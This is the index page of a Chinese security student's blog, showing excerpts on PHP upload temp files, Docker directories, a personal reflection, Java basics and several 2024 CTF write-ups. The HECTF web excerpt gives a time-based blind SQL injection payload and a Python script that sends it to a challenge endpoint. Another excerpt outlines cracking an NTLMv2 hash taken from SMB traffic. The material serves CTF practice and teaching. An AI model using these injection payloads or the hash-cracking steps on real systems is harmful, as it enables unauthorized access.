Blog

关于php文件上传和解析的tmp目录作用及问题

关于php文件上传和解析的tmp目录作用及问题

📌 什么是 $_FILES['file']['tmp_name']

在 PHP 中,当你通过 HTML 表单上传一个文件时,PHP 会将这个上传的文件先保存到服务器的一个临时目录中,这个路径就是:

$_FILES['file']['tmp_name']
示例说明:

假设你有一个上传表单:

<form method="post" enctype="multipart/form-data">
  <input type="file" name="file">
  <input type="submit" value="上传">
</form>

用户选择了文件 shell.php 并提交后,在 PHP 脚本中你可以这样访问它:

if ($_FILES['file']) {
    echo $_FILES['file']['name'];     // shell.php(客户端原始文件名)
    echo $_FILES['file']['tmp_name']; // /tmp/phpABC123(服务器上的临时路径)
}

🔁 临时文件路径的作用是什么?

✅ 1. 上传文件的临时存储位置

  • 当浏览器上传文件到服务器时,PHP 会先把文件写入一个临时目录(通常是 /tmp)。
  • 这是为了防止上传过程中服务器资源被长期占用。
  • 如果你不处理这个临时文件(比如没有调用 move_uploaded_file()),那么上传完成后,这个文件会被自动删除。

✅ 2. 用于后续操作:移动、重命名、检查内容等

一旦你得到了临时路径,就可以对文件进行各种操作:

✅ 移动文件到指定目录
$upload_dir = 'uploads/';
$tmp_name   = $_FILES['file']['tmp_name'];
$target     = $upload_dir . basename($_FILES['file']['name']);

if (is_uploaded_file($tmp_name)) {
    move_uploaded_file($tmp_name, $target);
}
✅ 检查文件内容(如是否包含 PHP 代码)
$content = file_get_contents($_FILES['file']['tmp_name']);
if (strpos($content, '<?php') !== false) {
    die('不允许上传 PHP 文件!');
}
✅ 获取 MIME 类型或图片信息
$finfo = finfo_open(FILEINFO_MIME_TYPE);
echo finfo_file($finfo, $_FILES['file']['tmp_name']);

🧠 举个比喻帮助理解

你可以把 $_FILES['file']['tmp_name'] 看作是:

Read more >

docker容器部署简单php和nginx相关目录

docker容器部署简单php和nginx相关目录

在 Docker 容器中,目录结构的设计通常取决于基础镜像以及应用程序的需求。不过,有一些常见的目录和文件是许多容器都会用到的。以下是这些常见目录及其功能的概述:

常见目录结构

  1. /var/www/html/usr/share/nginx/html

    • 用途: 用于存放 Web 应用程序的静态资源(如 HTML 文件、CSS、JavaScript 和图片等)。
    • 示例: 在基于 Nginx 的容器中,静态网站内容通常放在 /usr/share/nginx/html 下;而对于 PHP 应用,可能会映射到 /var/www/html
  2. /etc/nginx

    • 用途: 存储 Nginx 的配置文件。

    • 子目录与文件:

      • nginx.conf: 主配置文件,定义了 Nginx 的全局设置。
  • conf.d/: 包含额外的配置文件,通常是针对不同站点或服务的配置片段。
    • sites-available/sites-enabled/: 类似于 Apache 的配置管理方式,前者存储所有可用的站点配置,后者通过符号链接指向启用的站点配置。
  1. /etc/php/usr/local/etc/php

    • 用途: 存储 PHP 的配置文件。

    • 子目录与文件:

      • php.ini: PHP 的主要配置文件,控制 PHP 的运行时行为。
  • conf.d/: 包含其他 PHP 扩展的配置文件。
  1. /var/log/nginx/var/log/php-fpm

    • 用途: 存储日志文件。

    • 示例:

      • access.log: 记录所有的访问请求。
  • error.log: 记录错误信息。
  1. /usr/src/opt

    Read more >

低迷中走来

  迷茫不会毁掉一个人,堕落才会。我不后悔自己浪费的时间和放纵,因为我并不是一无所获,可惜但不遗憾。
                                                          --题记						          

已经大二下了,自我感觉进入大二下相比以往的第一年和上个学期,这个学期放松了很多,懈怠了很多。并没有按照预期一样努力和学习,前前后后吧,几个月,具体可以从寒假追溯到近些日子。

可以先细数做了些什么吧,总体来说就是娱乐和放松。刷视频、打游戏、看各种好玩东西,睡觉,聊天,然后不干这些的时候可能就是放空或运动。总体上来说很轻松,哈哈,说难听点就是摆烂。学习上吧,零零碎碎,安全上面并没有进步,会的还是以前会的东西,算法嘛,垃圾,不看答案写不出的那种,当然有些看了也看不懂。非要说学了点什么,只能说学了点人工智能方面的东西,不过也是纸上谈兵,没深究,还有各种新闻变化和行业分析吧,总的来说感觉AI真的要改变很多东西,coze和dify这种集成各种大模型的AI应用开发平台令我叹为观止,方便简洁,可用性高,主要是提升效率和事务。Agent也让我感觉到了未来产品的发展方向,感觉AI时代普通产品是没有技术壁垒的,真正要做的是用户、市场、营销,感觉能否洞察需求才是关键,也开始明白和理解最近看到的话,百分之八十的市场和营销,百分之二十的技术。

学的杂了,了解多了,但却什么水平也不行,我也顺理成章的陷入了迷茫,老是思考,我学历这么差,又没技术,是考研还是就业,就业又该做什么,有人会要吗,反正奇奇怪怪。看到了就业和失业的文章,也知道留给自己的时间不多了,但是为什么我还是选择娱乐和放纵,哈哈。😶‍🌫️😶‍🌫️😶‍🌫️

因为我觉得从小到大,我基本上都在做我认为正确的选择或者他人认为正确的选择,可是是否真的正确,在现在的我看来,并非如此。所以本质上,同时空同条件下的我,会做的选择,与隔时空的我很难相同,也自然没有正确与否。所以我打算让自己也做一个快乐的决定,最起码身为大学生和大二的我来说,沉默成本可以接受。主要确实不想学,很不想学,所以自然而然就干脆随性一把。允许自己调整怎么能算一个错误呢,嘿嘿,大不了后面多努力些呗,虽然还可能摆,哈哈哈,但是应该不会像这么长了。

这段时间我也大胆的进入了一个我从未涉猎的领域,至于什么领域,懂得都懂。我发掘人与人之间是不能强行建立联系的,主动的那一方往往要承担巨大的风险,总得来说感悟颇多,一生受益吧,但是自己内心的美好还是没有改变的,只不过是丰富自己的见识罢了,我还是那个热爱生活和充满热情的中二少年,哈哈哈哈。🤐🤐🤐

写下这篇文章说明我也开始正常坐在陪伴我最久的伙伴面前,曾经流过口水的桌子,大一冷飕飕对着我寒暄的空调大哥,熟悉的环境,熟悉的码字,开始展望未来的日子,虽然马上放暑假了,爽,哈哈哈。

后续的计划吧,把想学的东西都学了,管他有没有用,未来怎么样,在过程中清晰吧,但是有一点我越来越坚定了,我想优秀,想更有实力。

好久操作hugo gitpages了,还得查查 哈哈哈😆😆😆

要是有缘看到这篇文章,希望你的生活和事业如你所愿,健康喜乐!❣️❣️❣️

✌️✌️✌️生活中的困难和不如意就是🤏🏼🤏🏼🤏🏼,加油,一切都在为美好铺垫🫵

2024HECTFweb

2024HECTFweb

babysql

直接万能密码过

image-20241208124649630

进入查询后台

测试发现是盲注,可以使用布尔盲注,这里采用时间盲注

接下来就是脚本

image-20241208124958291

首先跑一个fuzz字典看有哪儿些东西被过滤了

可以看到有些重要的东西也被过滤了,像空格,information_schema

image-20241208133152929

测试

from requests import post

base_url = 'xxx/worker.php'

payload = "1'/**/or/**/if((select/**/database())like/**/database(),sleep(3),0)#"
data = {"name":payload}

def check_time(data):
    try:
        res=post(base_url, data=data,timeout=2)
        #如果没有超时说明失败了
        return "failure"
    except:
        return "success"

print(check_time(data))

image-20241208141019513

Read more >

2024HECTFmisc

2024HECTFmisc

恶势力的聊天记录

vol3参考文档

Volatility 3 — Volatility 3 2.11.0 documentation

vol3使用参考

Volatility3内存取证工具使用详解-CSDN博客

vol2命令格式: volatility -f [image] --profile=[profile] [plugin]

这里需要注意 :Volatility3和Volatility2用法差不多,但不需要指定profile ,只是插件调用方式改变,特定的操作系统有特定的插件
python3 vol.py [plugin] -f [image]
 
常用插件:
    layerwriter:列出内存镜像platform信息
    linux.bash:从内存中恢复bash命令历史记录
    linux.check_afinfo:验证网络协议的操作功能指针
    linux.check_syscall:检查系统调用表中的挂钩
    linux.elfs:列出所有进程的所有内存映射ELF文件
    linux.lsmod:列出加载的内核模块
    linux.lsof:列出所有进程的所有内存映射
    linux.malfind:列出可能包含注入代码的进程内存范围
    linux.proc:列出所有进程的所有内存映射
    linux.pslist:列出linux内存映像中存在的进程
    linux.pstree:列出进程树
    mac.bash:从内存中恢复bash命令历史记录
    mac.check_syscall:检查系统调用表中的挂钩
    mac.check_sysctl:检查sysctl处理程序的挂钩
    mac.check_trap_table:检查trap表中的挂钩
    mac.ifconfig:列出网卡信息
    mac.lsmod:列出加载的内核模块
    mac.lsof:列出所有进程的所有内存映射
    mac.malfind:列出可能包含注入代码的进程内存范围
    mac.netstat:列出所有进程的所有网络连接
    mac.psaux:恢复程序命令行参数
    mac.pslist:列出linux内存映像中存在的进程
    mac.pstree:列出进程树
    mac.tasks:列出Mac内存映像中存在的进程
    windows.info:显示正在分析的内存样本的OS和内核详细信息
    windows.callbacks:列出内核回调和通知例程
    windows.cmdline:列出进程命令行参数
    windows.dlldump:将进程内存范围DLL转储
    windows.dlllist:列出Windows内存映像中已加载的dll模块
    windows.driverirp:在Windows内存映像中列出驱动程序的IRP
    windows.driverscan:扫描Windows内存映像中存在的驱动程序
    windows.filescan:扫描Windows内存映像中存在的文件对象
    windows.handles:列出进程打开的句柄
    windows.malfind:列出可能包含注入代码的进程内存范围
    windows.moddump:转储内核模块
    windows.modscan:扫描Windows内存映像中存在的模块
    windows.mutantscan:扫描Windows内存映像中存在的互斥锁
    windows.pslist:列出Windows内存映像中存在的进程
    windows.psscan:扫描Windows内存映像中存在的进程
    windows.pstree:列出进程树
    windows.procdump:转储处理可执行映像
    windows.registry.certificates:列出注册表中存储的证书
    windows.registry.hivelist:列出内存映像中存在的注册表配置单元
    windows.registry.hivescan:扫描Windows内存映像中存在的注册表配置单元
    windows.registry.printkey:在配置单元或特定键值下列出注册表项
    windows.registry.userassist:打印用户助手注册表项和信息
    windows.ssdt:列出系统调用表
    windows.strings:读取字符串命令的输出,并指示每个字符串属于哪个进程
    windows.svcscan:扫描Windows服务
    windows.symlinkscan:扫描Windows内存映像中存在的链接
──(root㉿kali)-[/home/messi/Desktop/vol3]
└─# sudo ln -s /home/messi/Desktop/vol3/vol.py /usr/local/bin/vol3
//添加一个软连接方便使用

列出所有进程

Read more >

2024强网杯-Misc-Pickle jail

2024强网杯-Misc-Pickle jail

第一次遇到jail类型的题目,而且还是在大赛上,并且还是这么难的情况,努力理解复现吧。

附件😣😰🥹:

pickle_jail.py 的文件

#!/usr/local/bin/python
from io import BytesIO
from os import _exit
from pathlib import Path
from pickle import Pickler, Unpickler
from sys import stderr, stdin, stdout
from time import time

from faker import Faker

Faker.seed(time())
fake = Faker("en_US")
flag = Path("flag").read_text()


def print(_):
    stdout.buffer.write(f"{_}\n".encode())
    stdout.buffer.flush()


def input(_=None, limit: int = -1):
    if _:
        print(_)
    _ = stdin.buffer.readline(limit)
    stdin.buffer.flush()
    return _


def bye(_):
    print(_)
    _exit(0)


players = [fake.unique.first_name().encode() for _ in range(50)]
print("Welcome to this jail game!")
print(f"Play this game to get the flag with these players: {players}!")
name = input("So... What's your name?", 300).strip()

assert name not in players, "You are already joined!"

print(f"Welcome {name}!")
players.append(name)

biox = BytesIO()
Pickler(biox).dump(
    (
        name,
        players,
        flag,
    )
)

data = bytearray(biox.getvalue())
num = input("Enter a random number to win: ", 1)[0]
assert num < len(data), "You are not allowed to win!"
data[num] += 1
data[num] %= 0xFF

del name, players, flag
biox.close()
stderr.close()

try:
    safe_dic = {
        "__builtins__": None,
        "n": BytesIO(data),
        "F": type("f", (Unpickler,), {"find_class": lambda *_: "H4cker"}),
    }
    name, players, _ = eval("F(n).load()", safe_dic, {})
    if name in players:
        del _
        print(f"{name} joined this game, but here is no flag!")
except Exception:
    print("What happened? IDK...")
finally:
    bye("Break this jail to get the flag!")

分析附件:

一上来这个代码就给我看懵了,对于python基本功不是很扎实的我,没看懂逻辑,一边拿ai一边分析。

Read more >

2024强网杯—谍影重重5.0

😉🌃⛅😉

乍一看,有arp、smb、tls等协议流量

image-20241130102444496

先过滤出smb2流量看看

smb协议主要用于在计算机间共享文件、打印机、串口等

NTLM是一种身份验证机制

image-20241130104443093

smb2爆破

Wireshark分析–SMB2协议包及hashcat爆破_wireshark smb-CSDN博客

通过文章了解到需要构造hash文件

username::domain:NTLM Server Challenge:ntproofstr:不包含ntproofstr的ntlmv2_response值

双击打开这条流量

image-20241130105942945

image-20241130111843833

Read more >

Io Programming

输入流和输出流

输入流(InputStream)

输入流用于从数据源读取数据。常见的数据源包括文件、网络连接、内存中的字节数组等。InputStream 是所有字节输入流的基类,它定义了一些基本的方法,具体的子类实现了这些方法以适应不同的数据源。

输出流(OutputStream)

输出流用于将数据写入目标位置。常见的目标位置包括文件、网络连接、内存中的字节数组等。OutputStream 是所有字节输出流的基类,它定义了一些基本的方法,具体的子类实现了这些方法以适应不同的目标位置。

File文件操作

初识

java.io.File类是一个与文件本身操作有关的类,此类可以实现文件创建、删除、重命名、取得文件大小、修改日期等常见系统文件操作

如果要使用File类则必须提供完整的文件操作路径,对于文件路径的设置可以通过File类的构造方法完成,当获取了正确的文件路径后就可以进行文件创建于删除操作、File类文件基本操作方法

No. 方法 类型 描述
1 public File(String pathname) 构造 给定一个要操作文件的完整路径
2 public File(File parent,String child) 构造 给定要操作文件的父路径和子文件名称
3 public boolean createNewFile() throws IOException 普通 创建文件
4 public boolean delete() 普通 删除文件
5 public boolean exists() 普通 判断给定路径是否存在

示例

import java.io.File;
public class JavaIODemo{
	public static void main(String[] args) throws Exception{
		File file = new File("D:\\1.txt"); //文件路径: "\\"转义为"\"
		if(file.exists()){
			file.delete();
		}
		else{
			System.out.println(file.createNewFile());
		}
	}
}

分隔符

windows中是"\" 而在UNIX或类UNIX操作系统中路径分隔符是"/"

Read more >

Java常用类库

StringBuffer类

String和StringBuffer的区别

String

  • 不可变性String 类是不可变的,这意味着一旦创建了一个 String 对象,其值就不能改变。每次对 String 进行修改(如连接、替换等操作)都会产生新的 String 对象,原来的对象不会被改变。
  • 线程安全性:由于 String 的不可变性,它是线程安全的,可以被多个线程共享而无需担心数据一致性的问题。
  • 性能:因为每次修改都会创建新的对象,所以在频繁进行字符串操作时,String 的效率较低。

StringBuffer

  • 可变性StringBuffer 是一个可变的字符序列,可以被多次修改而不创建新的对象。这意味着如果需要对字符串进行大量的修改操作,使用 StringBuffer 比使用 String 更加高效。
  • 线程安全性StringBuffer 是线程安全的。它的方法都是同步的(即加了 synchronized 关键字),这使得 StringBuffer 可以在多线程环境中安全地使用,但是也导致了它的性能相比非线程安全的 StringBuilder 要差一些。
  • 性能:当需要在一个单线程环境下进行大量字符串操作时,StringBuffer 仍然不是最优选择,因为它的线程安全特性会带来额外的开销。在这种情况下,应该考虑使用 StringBuilder

使用场景

  • 使用 String:当你不需要修改字符串内容时,或者修改次数非常少的时候,使用 String 是合适的。此外,String 的不可变性和线程安全性使其成为多线程环境中的首选。
  • 使用 StringBuffer:如果你的应用程序需要在多线程环境中频繁地修改字符串,那么 StringBuffer 是一个很好的选择,因为它提供了线程安全的操作。
  • 使用 StringBuilder:对于单线程环境下的频繁字符串操作,推荐使用 StringBuilder,因为它比 StringBuffer 性能更高,同时又保持了可变性的优点。

StringBuffer介绍

String类自身有一个最大的缺陷:内容一旦声明则不可改变,JDK为了方便用户修改字符串内容提供了StringBuffer类

StringBuffer类不像String类那样可以直接通过声明字符串常量方式进行实例化,而是必须像普通类对象使用一样,首先通过构造方法进行对象实例化,而后才可以调用方法进行处理。

No. 方法 类型 描述
1 public StringBuffer() 构造 创建一个空的StringBuffer对象
2 public StringBuffer(String str) 构造 将接受到的String内容变为StringBuffer内容
3 public StringBuffer append(数据类型 变量) 普通 内容连接,等价于String中:”+”操作
4 public StringBuffer insert(int offset,数据类型 变量) 普通 在指定索引位置处插入数据
5 public StringBuffer delete(int start,int end) 普通 删除指定索引范围之内的数据
6 public StringBuffer reverse() 普通 内容反转

示例

Read more >

Java Base

java文件结构快速了解

Java 文件的基本结构

一个简单的Java文件通常包含以下几个部分:

  1. 包声明

    • 每个Java源文件都属于某个包。包的作用类似于文件夹,用于组织和分类相关的类。
    • 示例:package com.example;
  2. 导入语句

    • 导入语句用于引入其他包中的类或接口,这样可以在当前文件中直接使用这些类或接口。
    • 示例:import java.util.ArrayList;
  3. 类声明

    • 类是Java程序的基本构建块。每个类定义了一组属性(变量)和方法(函数)。

    • 示例:

      public class HelloWorld {
          // 类体
      }
      
  4. 构造方法

    • 构造方法是一种特殊的方法,用于创建类的新实例时初始化对象。

    • 示例:

      public HelloWorld() {
          // 初始化代码
      }
      
  5. 属性(成员变量)

    • 属性是类中存储数据的变量。

    • 示例:

      private String name;
      
  6. 方法

    • 方法是执行特定任务的代码块。

    • 示例:

      public void sayHello() {
          System.out.println("Hello, World!");
      }
      
  7. 主方法(main方法)

    • 主方法是Java应用程序的入口点。当程序启动时,JVM会寻找并执行这个方法。

    • 示例:

      java深色版本

      public static void main(String[] args) {
          HelloWorld hello = new HelloWorld();
          hello.sayHello();
      }
      

示例代码

以下是一个完整的Java文件示例,结合了上述各个部分:

Read more >